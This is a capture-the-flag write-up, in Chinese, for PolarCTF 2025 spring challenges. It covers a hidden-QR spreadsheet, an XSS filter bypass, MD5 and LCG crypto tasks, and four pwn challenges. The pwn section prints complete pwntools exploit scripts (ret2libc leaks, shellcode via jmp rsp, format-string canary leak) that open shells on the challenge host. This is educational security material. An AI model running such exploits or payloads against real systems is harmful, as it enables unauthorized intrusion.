Misc

可老师签到

这是一道比较有意思的签到题,难点在于如何理解它给的提示。

本题是一个游戏题,最后会让我们关注公众号,发送两次flag(这是关键,并非是最后提交时让flag*2),获得正确的flag。

find

这依旧是一道比较有趣的杂项题,主办方给了我们一个flag.xlsx工作表。

发现全是空白,然后也没有任何与flag相关的东西,于是,我猜测其可能是被隐藏了,仔细观察发现有些表格使用的是粗体,有些什么都没有,因此就证实了我的猜测,其可能是全部被弄成白色了,于是我打算将其变为黑色。

替换后进行对行高的调整发现是一个二维码,最后使用工具扫码获得flag。

Web

来个弹窗

打开所给网址可以看到这是一道XSS漏洞题目,首先输入一个基础的

<script>alert(1)</script>

,发现返回空,因此我们进行双写绕过

"><scscriptript>alert(1)</scscriptript>

发现可以,获得一张图片,提示是flag就是该人物名称md5加密。

0e事件

打开网站可以看到一个提示:请通过 URL 参数 ‘a’ 提交你的输入。由于题目为0e事件,由此可以猜测此题可以通过0e绕过,最后发现可以,获得flag。

Crypto

knock knock

从题目我们可以知道这道题考查的是敲击码,于是我们通过搜索并进行解码可以将密文变成THIS IS YOUR CHAMPION接着进行32位小写MD5加密即可。

LGC

通过题目我们可以看出是LGC,因此我们需要了解什么是LGC,接着再编写脚本即可。

Pwn

koi

经过file我们可以知道是一个64位文件,然后checksec发现它开启了一个NX保护,放进IDA看看。

发现主函数中有4个子函数,依次点进发现wrshell()函数与xxx()函数存在栈溢出。

再通过主函数我们可以分析出,需要当V4==520且n==520时,才会调用xxx()函数,因此需要修改n的值。这里我想的是栈迁移,进入wrshell函数,通过read进行溢出将rbp的地址覆盖成n的地址,将n的值改成520,接着就可以进入xxx()函数,再通过puts泄漏libc,最后再read进行栈溢出将返回地址覆盖,获取shell(需注意的是调用了scanf函数,会造成偏移,因此我们需要将偏移抵消)。exp如下:

from pwn import*
io=remote('1.95.36.136',2115)
context(arch='amd64',log_level='debug',os='linux')
elf=ELF('./koi')
libc=ELF('libc6_2.23-0ubuntu11.3_amd64.so')
io.recv()
io.sendline(b'1')
io.recv()
io.sendline(b'1')
io.recv()
io.sendline(b'1')
io.recv()
payload1=cyclic(0x50)+p64(0x060108C+0x4)
io.sendline(payload1)
io.recv()
io.sendline(b'520')
io.recv()
xxx_addr=elf.sym['xxx']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
rdi_ret=0x0400a63
payload2=cyclic(0x50+8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(xxx_addr)
io.sendline(payload2)
puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print (hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print (hex(libc_base))
system=libc_base+libc.sym['system']
print (hex(system))
bin_sh=libc_base+next(libc.search('/bin/sh'))
print (hex(bin_sh))
payload3=cyclic(0x50+8)+p64(rdi_ret)+p64(bin_sh)+p64(system)
io.sendline(payload3)

io.interactive()

当然我们泄漏了puts的地址后,需要找到相应的libc版本,可以到libc database search这里去寻找。(有可能我写的比较复杂,主要是看获得的地址)

libc

本题是一道简单的32位libc。通过checksec,发现开启了NX保护。

通过IDA我们可以发现主函数中有两个子函数,分别进入看一下,

在jiu()函数中我们可以发现存在明显的栈溢出,由于并未告知system函数与/bin/sh的地址,但存在puts,于是我们可以通过puts泄漏libc,从而编写脚本获得shell,得到flag。exp如下:

from pwn import*
io=remote('1.95.36.136',2101)
elf=ELF('./libc')
libc=('./libc6-i386_2.23-0ubuntu11.3_amd64.so')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
jiu=elf.sym['jiu']

payload1=cyclic(0x3A+4)+p32(puts_plt)+p32(jiu)+p32(puts_got)
io.sendline(payload1)
puts_addr=u32(io.recvuntil('\xf7')[-4:])
print (hex(puts_addr))

libc_base=puts_addr-0x05f150
system=libc_base+0x03a950
bin_sh=libc_base+0x15912b
payload2=cyclic(0x3A+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload2)

io.interactive()

bllbl_shellcode_2

通过file与checksec,我们可以知道本题是一道64位的且没有开启NX保护的shellcode,将其拖入IDA中看看。

我们可以发现有一个yichu函数,进去一看,先是打印出v2的地址,然后读取用户输入的数据到v2,有可以在侧边栏看到reg函数,发现里面是汇编指令。因此大致思路就是先构造shellcode并写入到v2与rbp所占的栈空间,接着再让栈顶指针rsp重新指向一开始的地址,从而执行shellcode。exp如下:

from pwn import *
context.arch = 'amd64'
io = remote('1.95.36.136',2123)
elf = ELF('./shellcode2')
io.recvuntil(b"0x")
v2 = int(io.recv(12),16)
success("v2 >>> 0x%x" % v2)
io.recv()
jmp_rsp = 0x0000401380
binsh = 0x00000402047
shellcode = asm("""
mov al, 0x3b
mov esi, edi
mov edi, 0x402047;
mov edx, esi
syscall
""")
shellcode += p64(jmp_rsp)
shellcode += asm("sub rsp,0x15;jmp rsp")
io.sendline(shellcode)
io.interactive()

fmt_text

还是老样子,是32位开启NX保护与Canary保护的elf。根据题目我猜测是通过格式化字符串漏洞绕过Canary保护。放进IDA。

在这直接进入yichu函数,发现和我的猜想一模一样,存在格式化字符串漏洞,接着再Shift+F12发现存在system函数但是没有/bin/sh,然后再看看bss段上有没有什么东西,发现有个buf

欧克,思路清晰了,我们可以通过格式化字符串漏洞绕过Canary保护,接着将/bin/sh写入buf中,最后通过栈溢出,调用system函数,把buf当作其参数,从而获取shell。exp如下:

from pwn import*
io = remote('1.95.36.136',2141)
gets_addr = 0x08048430
system_addr = 0x8048460
buf_addr = 0x0804A080
io.sendline(b"%31$p")
canary=int(io.recv(),16)
print("camary>>>",hex(canary))

payload=b'a'*25*4+p32(canary)+b'a'*3*4+p32(gets_addr)+p32(system_addr)+p32(buf_addr)+p32(buf_addr)
io.sendline(payload)
io.sendline('sh')
io.interactive()


欧克,本次的polarctf2025春季赛就复现这么多了,因为有些东西还没学到那里,复现难度大,以后未复现的题目会出现在Polar-xxx-wp里面。